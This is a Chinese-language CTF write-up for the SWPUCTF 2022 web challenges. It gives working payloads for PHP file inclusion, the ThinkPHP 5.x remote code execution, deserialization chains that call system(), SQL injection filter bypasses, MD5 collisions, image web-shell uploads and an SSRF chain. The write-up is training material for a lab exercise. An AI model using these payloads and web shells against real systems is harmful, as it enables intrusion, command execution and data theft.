[SWPUCTF 2022]——Web方向 详细Writeup

SWPUCTF 2022

ez_ez_php

打开环境得到源码

 <?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php 

文件包含,利用伪协议读取,构造payload:

http://node1.anna.nssctf.cn:28012/?file=php://filter/read=convert.base64-encode/resource=flag

然后base64解码得到flag

ez_rce

f12,看不到啥,抓包抓不到什么东西

image-20230707150331182

用dirsearch扫一下,发现有robots.txt

image-20230707150822172

访问一下,发现hint/NSS/index.php

image-20230707150901085

访问一下

image-20230707151106398

一时间没什么思路,google一下ThinkPHP V5发现是个CVE

ThinkPHP 5.x 远程命令执行漏洞分析与复现

由于靶机和本地搭建环境不同,以下给出两种payload

flag不在/flag中,flag路径是/NSS/ctf/flag/flag

一、写入shell

payload:

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_GET["code"])?>

该代码就是写入了一个test.php,内容是一个shell,接下来就可以利用shell来读取flag,payload:

不是我不想用蚁剑连,而是不知道为什么连不上去

http://node1.anna.nssctf.cn:28962/test.php?code=system(%22cat%20/nss/ctf/flag/flag%22);

二、直接读取flag

可以利用find命令来找到flag,毕竟不好找

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20$(find%20/%20-name%20flag)

或者一个一个的找来读取flag文件

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag

奇妙的MD5

hint:可曾听过ctf 中一个奇妙的字符串

先提交查询然后抓个包看看

image-20230708101555556

可以看到我们提交的数据都会经过md5解密然后再进行处理

1681750044692

所以首先我们要找到一个字符串,这个字符串经过md5得到的16位原始二进制的字符串能帮我们实现sql注入

or这个字符串是必要的,同时为了配对原先sql语句里面有的单引号,在or的两边要有单引号,使它变成 password=‘xxx’or‘xxx’ 的形式。

所以我们需要的字符串的原始二进制格式的字符串里要包含 'or'如果根据原始二进制来找到我们要的字符串可能会比较麻烦,那么可以根据32位16进制的字符串来查找,根据上面介绍的, 'or' 对应的16进制是 276f7227 ,所以我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227这个字段的。

接着就是要看关键的数字部分了,在276f7227这个字段后面紧跟一个数字,除了0,1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是我们需要有276f7227+(31-39)这个字段,就可以满足要求。比如xxxxxxxxxxxxxxxx276f7227(31-39)xxxxxx

ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,

而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’

所以将ffifdyop提交查询,进入新界面

image-20230708102148906

f12查看源码,md5弱比较,直接数组绕过就可以

$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){;

构造payload:

node3.anna.nssctf.cn:28028/c0nt1nue.php?x[]=1&y[]=2

进入新界面,得到源码

<?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){echo $FLAG;
} 

这次就是md5强比较,构造payload:

wqh=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&dsy=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

ez_ez_php(revenge)

打开环境得到源码

 <?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php 

也是利用伪协议,直接构造payload:

http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=flag.php

然后base64解码解码一下,擦,被骗了

image-20230708103933214

重新构造payload:

http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=/flag

这次base64解码可以得到flag了

1z_unserialize

<?phpclass lyh{public $url = 'NSSCTF.com';public $lt;public $lly;function  __destruct(){$a = $this->lt;$a($this->lly);}}
unserialize($_POST['nss']);
highlight_file(__FILE__);?> 

这里考察反序列化,利用点在

$a($this->lly);

这里可以让$asystem来进行命令执行,并且在函数销毁时会被设置为$lt的值

构造exp:

<?phpclass lyh{public $url = 'NSSCTF.com';public $lt;public $lly;function  __construct(){$this->lt ="system";$this->lly="ls /";}
}
$a=new lyh();
echo (serialize($a))
?>

payload:

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}

然后利用POST发包

image-20230825194948131

修改命令得到flag

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:7:"cat /f*";}

numgame

dirsearch扫一下,可以看到有一些文件

image-20230825195951323

访问一下flag.php然后打开F12,然后再去访问index.php,查看源代码

image-20230825200137032

可以得到

NSSCTF{TnNTY1RmLnBocA==}

解码一下

image-20230825200219934

然后去访问NsScTf.php文件,得到代码

 <?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{static function ctf(){include("./hint2.php");}
}
if(isset($_GET['p'])){if (preg_match("/n|c/m",$_GET['p'], $matches))die("no");call_user_func($_GET['p']);
}else{highlight_file(__FILE__);
} 
  1. 它包含了一个名为 “flag.php” 的文件的内容。这个文件可能包含了一些敏感信息,可能是题目的解答或者标志。
  2. 定义了一个名为 nss 的类,其中有一个静态方法 ctf。在这个方法内部,包含了一个名为 “hint2.php” 的文件。
  3. 如果通过GET请求传递了参数 p,则会进入条件判断。在条件判断内部,使用正则表达式检查参数 p 是否包含字符 “n” 或 “c”,如果包含就会输出 “no” 并终止程序。
  4. 如果条件判断没有通过,就会调用 call_user_func 来执行参数 p 对应的函数。
  5. 如果没有传递参数 p,则会使用 highlight_file 函数将当前文件的源代码高亮显示在浏览器中。

这里正则匹配会匹配GET方式传参的p的值,结合第一个hint,我们推测需要用POST形式发包

其实这里用大小写绕过也可以,因为这个正则匹配没有用/i来忽略大小写

这里看到有hint2.php,访问一下hint2.php,得到第二个hint

image-20230827001022410

所以进行post发包,类名是nss2,函数还是ctf

构造payload:

p=nss2::ctf

image-20230827001857550

其实这里hint2.php是按照类似的方式来查看的,但是能直接看

where_am_i

打开环境

image-20230827002652270

推测是输入手机号码,用识图网站看一下

image-20230827003049990

查一下古迹酒店的电话号码

image-20230827003149660

得到电话号码,去掉括号

02886112888

踩坑点:这里输了好几次都没有用,还以为是电话号码的问题,重新进一下环境就好了

然后输入可以得到flag

image-20230827003712487

ez_ez_unserialize

源码如下

<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
if (isset($_REQUEST['x'])) {@unserialize($_REQUEST['x']);
} else {highlight_file(__FILE__);
} 

这里__FILE__的作用是获取当前文件

然后在反序列化开始的时候触发__wakeup()魔术方法,来检测$x的值是否为当前文件名,如果不是,则重新赋值为__FILE__

然后在反序列化结束的时候触发__destruct()魔术方法,来显示文件文件内容

染过__wakeup()之前先看看PHP版本

image-20230828182704024

可以看到PHP5版本 <5.6.25

所以可以利用对象的属性数量不一致方法来绕过

先构造exp,flag在fllllllag.php

<?php
class X
{public $x;function __construct(){$this->x = "fllllllag.php";}
}$a=new X();
echo serialize($a);

运行得到

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

修改属性数量

O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

然后get传参,payload

http://node5.anna.nssctf.cn:28562/?x=O:1:%22X%22:2:{s:1:%22x%22;s:13:%22fllllllag.php%22;}

得到flag

image-20230828183424374

js_sign

F12可以看到源代码

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"if (btoa(flag.value) == 'dGFwY29kZQ==') {alert("you got hint!!!");} else {alert("fuck off !!");}    
})

dGFwY29kZQ==解码可以得到tapcode

敲击码(?),没见过,直接去空格解码flag

敲击码在线解密

将字符串去空格得到

3343431344215434452124331421311122125444113513341415

反查得到

n(N) s(S) s(S) c(C) t(T) f(F) y(Y) o(O) u(U) f(F) i(I) n(N) d(D) f(F) l(L) a(A) g(G) b(B) y(Y) t(T) a(A) p(P) c(C) o(O) d(D) e(E)

得到flag

NSSCTF{youfindflagbytapcode}

xff

打开环境

image-20230828184624665

猜测是XFF伪造,burp抓包然后伪造

X-Forwarded-For:127.0.0.1

image-20230828184715189

说明必须从主页跳转,Referer伪造

Referer:127.0.0.1

得到flag

image-20230828185043594

ez_sql

提示我们要用相对安全的方式传参,所以这里用POST传参,如果用GET会弹出报错

image-20230830203036055

先判断闭合方式

根据报错方式可以得知闭合方式是单引号

image-20230830225228203

接下来尝试一下联合注入

nss=1' union select 1,2,3;#

image-20230830230706238

根据报错信息,可以发现union空格是会被消除的,这里union尝试用双写替代一下,空格试试/**/

构造payload:

nss=2'/**/ununionion/**/select/**/1,2,3;#

绕过成功

image-20230830231210913

接下来爆库

nss=2'/**/ununionion/**/select/**/1,database(),3;#

爆表

这里爆表的时候注意一下,or会被消除,所以双写一下

image-20230830231432464

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

image-20230830231730411

爆字段

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

image-20230830231859433

获取数据

nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#

image-20230830232044691

不知道为什么是两个。。。。Secr3t那个表里的是对的

webdog1__start

F12可以看到代码

if (isset($_GET['web']))
{$first=$_GET['web'];if ($first==md5($first)) 

对于$a==md5($a)这种类型的弱比较,数组是绕过不了的,这里用0e绕过弱比较

payload:

?web=0e215962017

然后进入到start.php界面

image-20230829151741247

然后继续Ctrl+U查看前端代码,可以看到hint

image-20230829151902907

这里的bot指的就是robots.txt,访问一下

image-20230829152047993

这里不知道为什么用火狐直接访问中文乱码了(

image-20230829152112900

然后去访问f14g.php

抓包从返回头可以看到hint

image-20230829152337146

接下来去访问F1l1l1l1l1lag.php访问得到代码

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){$get=$_GET['get'];if(!strstr($get," ")){$get = str_ireplace("flag", " ", $get);if (strlen($get)>18){die("This is too long.");}else{eval($get);} }else {die("nonono"); }}

我们需要以get方式传入get参数

并且传入参数不能存在空格,如果有flag,把flag利用str_ireplace()函数变成空格

字符串的长度要小于等于18,如果以上条件都满足,就会利用eval来执行get参数

绕过空格的方式很多,经常用到的是两个<重定向符,和间隔符$IFS

因为IFS为系统变量,默认值为空格,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数的方式绕过空格过滤

但是我们并不能直接使用命令+$IFS+参数的方法进行绕过,比如cat$IFSflag,这样是不可以的,因为linux系统或将$IFSflag看做一个整体,从而不能正常的被解析为空格。所以需要在$IFS后面进行截断,以保证$IFS被成功解析有几种方式:

  1. 利用绝对路径前面的/分隔 cat$IFS/flag.php
  2. 利用通配符?分隔 ,?在linux里面可以进行代替字母

在linux里面可以进行模糊匹配 cat$IFS?lag.php

3.利用${}分隔cat${IFS}flag.php

4.可以创建自定义变量:a=参数,命令$IFS$a cat$IFS$aflag.php

5.未过滤"0~9"、"@"、"*"命令$IFS$

通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令

格式:cat<fileName cat<>flag.txt

对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。

其他绕过方式:制表符%09%0a 制表符\t

至于绕过flag,这里也很简单,我看到基本都是用刚才讲到的*进行模糊匹配

而且因为长度原因,你最好使用一些比较短的绕过方式,比如cat就可以换成nl这种

最终payload:

?get=system("nl%09/*");
?get=system("nl\t/*");

或者利用自定义变量

?get=eval($_GET['A']);&A=system('cat /flag');

funny_php

打开环境得到源代码

<?phpsession_start();highlight_file(__FILE__);if(isset($_GET['num'])){if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;}else{echo ":C";}}if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}}if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}}if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){include('flag.php');echo $flag;}
?> 

一层一层来,需要我们传入num,并且长度要字符长度<=3并且数字>999999999

这里可以利用指数e绕过

构造payload

?num=9e9

然后我们需要传入str的值为NSSCTF,但是这里会通过正则匹配然后将NSSCTF替换为空,但是这里不会循环检测替换后的str,可以利用双写绕过

构造payload:

?num=9e9&str=NNSSCTFSSCTF

然后POST传入md5_1md5_2,要求这两个值都是字符串,并且md5_1!==md5_2,并且两个值md5加密后的值相同,但是这里是弱比较

这里选择用0e绕过弱比较

对于某些特殊的字符串加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同

POST传参

md5_1=QNKCDZO&md5_2=PJNPDWY

最后请求头如下

image-20230829180709582

ez_1zpop

代码如下

<?php
error_reporting(0);
class dxg
{function fmm(){return "nonono";}
}class lt
{public $impo='hi';public $md51='weclome';public $md52='to NSS';function __construct(){$this->impo = new dxg;}function __wakeup(){$this->impo = new dxg;return $this->impo->fmm();}function __toString(){if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return $this->impo->fmm();}function __destruct(){echo $this;}
}class fin
{public $a;public $url = 'https://www.ctfer.vip';public $title;function fmm(){$b = $this->a;$b($this->title);}
}if (isset($_GET['NSS'])) {$Data = unserialize($_GET['NSS']);
} else {highlight_file(__file__);
}

构造pop链

这里的要在fin类的fmm()函数进行命令执行

向上找,发现是在__toString()魔术方法会触发impo的值的fmm()函数

__toString(): 当一个对象被当作字符串使用时触发

所以向上找是__destruct(),pop如下

fin::fmm() <- lt::__toString <- lt::__destruct

在构造exp的时候要__toString()的条件,我们需要构造传入md51md52的值,并且md5加密后值相等,但是md51不能等于md51,这里是弱比较,可以利用0e绕过弱比较(这里跟上一题一样)

exp:

<?php
class lt
{public $impo;public $md51 = 'QNKCDZO';public $md52 = 'PJNPDWY';function __construct(){$this->impo = new fin();}
}
class fin
{public $a;public $url = '111';public $title ;function __construct(){$this->a = 'system';$this->title='ls /';}
}$a = new lt();
echo serialize($a);

运行生成

O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

但是这里注意一下__wakeup()魔术方法

   function __wakeup(){$this->impo = new dxg;return $this->impo->fmm();}

他会将impo的值赋为new dxg,这就不能进入到我们的fin类,所以要对__wakeup()进行绕过,看一下版本

image-20230829201615319

PHP/5.5.38,那么就说明可以用对象的属性数量不一致这个方法

修改payload:

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

image-20230829201746630

然后再修改命令为cat /f*得到flag

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:7:"cat /f*";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

Ez_upload

文件上传,先上传php文件试试

image-20230830015648676

黑名单过滤,那就利用.htaccess文件进行绕过,上传.htaccess,内容如下

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

先上传.htaccess文件

image-20230830020343100

但是这里还是上传失败,应该还是存在过滤,修改一下MIME类型

image-20230830021916034

这样就上传成功了,然后上传jpg图片马

image-20230830022049835

换个类型,说明存在文件类型检测,前面加个文件头,GIF89a,加了之后还是不行(有完没完

应该是存在短标签过滤,换个内容传一下

GIF89a<script language ="php"> eval($_REQUEST['cmd']); </script>

image-20230830022602016

然后去访问一下

http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg

接着进行RCE

image-20230830022847812

然后看一下flag的内容,发现没东西,被骗了

看一下phpinfo

http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg?cmd=phpinfo();

得到flag

image-20230830023122450

funny_web

随便输个账号密码,弹出hint

image-20230830013744880

用户名是NSS,密码随便输

image-20230830013805942

密码是2122693401,登录,得到源代码

谢队夹带私货是吧

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {$num = $_GET['num'];if ($num != '12345') {if (intval($num) == '12345') {echo $FLAG;}} else {echo "这为何相等又不相等";}
} 

然后这里绕过intval()函数就可以了,这里可以用小数绕过

构造payload:

http://node5.anna.nssctf.cn:28399/rea11y.php?num=12345.6

传参得到flag

file_master

题目存在文件查看功能,但是不能直接查看flag,权限不够

image-20230830183111456

先查看index.php

image-20230830201425374

可以得到源码

<?phpsession_start();if(isset($_GET['filename'])){echo file_get_contents($_GET['filename']);}else if(isset($_FILES['file']['name'])){$whtie_list = array("image/jpeg");$filetype = $_FILES["file"]["type"];if(in_array($filetype,$whtie_list)){$img_info = @getimagesize($_FILES["file"]["tmp_name"]);if($img_info){if($img_info[0]<=20 && $img_info[1]<=20){if(!is_dir("upload/".session_id())){mkdir("upload/".session_id());}$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);$content = file_get_contents($save_path);if(preg_match("/php/i",$content)){sleep(5);@unlink($save_path);die("hacker!!!");}else{echo "upload success!! upload/your_sessionid/your_filename";}}else{die("image hight and width must less than 20");}}else{die("invalid file head");}}else{die("invalid file type!image/jpeg only!!");}}else{echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';}
?>

可以看到会检测MIME类型,只允许image/jpeg

然后将文件上传之后会进行正则匹配,如果文件内容中含有php(不区分大小写)那么久就会延迟五秒之后移除该文件

这里其实就是短标签过滤,换个短标签即可绕过


php短标签绕过

php中最常见的标签为<?php ?>

不过在题目上传时可能会被waf过滤掉php关键字。根据查询结果,还有四种php的标签,分别是:

①<? ?> 仅在配置short_open_tag=on时可以使用,适合执行php语句;

②<?= ?>即使配置short_open_tag=off时依然可以使用,相当于<?php echo ?>,适合输出php语句~

上述二者的短标签都不必闭合(即?>可以省略不写,也可以连接成功

<?  @eval($_POST['a']);?><?= @eval($_POST['a']);?><?  @eval($_POST['a']);<?= @eval($_POST['a']);

然后上传一句话木马

image-20230830202145878

存在文件头检测,那就加个文件头GIF89a

image-20230830202258987

然后回显提示图像的宽和高必须小于20

记得去掉上面的那个phpinfo()

这里就上传成功了

image-20230830202452953

然后利用sessionidfilename进行RCE

payload:

http://node5.anna.nssctf.cn:28118/upload/7mvv3slg9k03vuarv1ckom0hrl/shell.php?cmd=system(%22cat%20/f*%22);

Power!

F12可以查看hint

image-20230829204503107

source,随便传参让其等于一个数

http://node5.anna.nssctf.cn:28431/?source=1

得到源码

<?phpclass FileViewer{public $black_list = "flag";public $local = "http://127.0.0.1/";public $path;public function __call($f,$a){$this->loadfile();}public function loadfile(){if(!is_array($this->path)){if(preg_match("/".$this->black_list."/i",$this->path)){$file = $this->curl($this->local."cheems.jpg");}else{$file = $this->curl($this->local.$this->path);}}else{$file = $this->curl($this->local."cheems.jpg");}echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';}public function curl($path){$url = $path;$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, 0);$response = curl_exec($curl);curl_close($curl);return $response;}public function __wakeup(){$this->local = "http://127.0.0.1/";}}class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}}if(isset($_GET['source'])){highlight_file(__FILE__);}else{if(isset($_GET['image_path'])){$path = $_GET['image_path'];    //flag in /flag.phpif(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}else{echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';}}else if(isset($_GET['path_info'])){$path_info = $_GET['path_info'];$FV = unserialize(base64_decode($path_info));$FV->loadfile();}else{$path = "vergil.jpg";echo '<h2>POWER!!</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}}
?> 

从这一段可以看出,查询的文件会通过file_get_contents()函数以base64编码的形式输出,所以可以看一下flag.php

image-20230829205809738

解码一下得到

<?php$a = "good job,but there is no flagi put my flag in intranet(127.0.0.1:65500)outsider have no permissions to get itif you want it,then you have to take itbut you already knew the rulestry it";?>

这道题目的且切入点在FileViewer中的loadfile()方法中,有代码可以实现curl命令,根据flag.php中的内容,我们可以curl 127.0.0.1:65500/flag

image-20230830000013424

向上找,要想触发loadfile()函数需要先触发FileViewer__call()魔术方法

__call() :在对象上下文中调用不可访问的方法时触发

image-20230830001752370

那就找找如何来触发__call()魔术方法,可以看到在Backdoor__destruct()魔术方法会访问一个不存在的方法c()

__destruct() :对象被销毁时触发

image-20230830001953229

但是在此之前会先进入到goodman方法来进行重新赋值,将$a类中的$b属性重新赋值为该类,也就是Backdoor$superhacker的值

链子构造到这里还没有解决最关键的一点,就是设置我们curl的路径,通过审计代码

$file = $this->curl($this->local.$this->path);

可以得知,curl的路径是由FileViewerlocalpath决定的,正好,我们可以通过$a变量来创建一个新的FileViewer对象

构造exp的时候可以修改一下black_list的值,让他不在过滤flag,毕竟正则匹配会进行过滤,并且还要注意一下,在触发unserialize之前会先进行一次base64解码

构造exp

<?php
class FileViewer{public $black_list;public $local;public $path;public function __construct(){$this->black_list="web so difficult~";$this->local='take it easy';$this->path="flag";}
}
class Backdoor{public $a;public $b;public $superhacker;public function __construct(){$this->a=new FileViewer();$this->b="local";$this->superhacker="127.0.0.1:65500/";}
}$a=new Backdoor();
$b=new FileViewer();
$b->local=$a;
echo base64_encode(serialize($b))
?>

这里构造的时候踩了个坑,一开始只创建了Backdoor一个对象,所以就是Backdoor里面包含着FileViewer,但是经过反序列化之后,执行的loadfile函数只有FileViewer类存在,所以要FileViewer中包着Backdoor

运行生成

TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

利用path_info传参

构造payload:

http://node5.anna.nssctf.cn:28686/?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

得到flag

image-20230830013157373

base64解码后得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/65122.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

01-为什么阿里巴巴强制要求使用包装类型定义属性?【Java面试题总结】

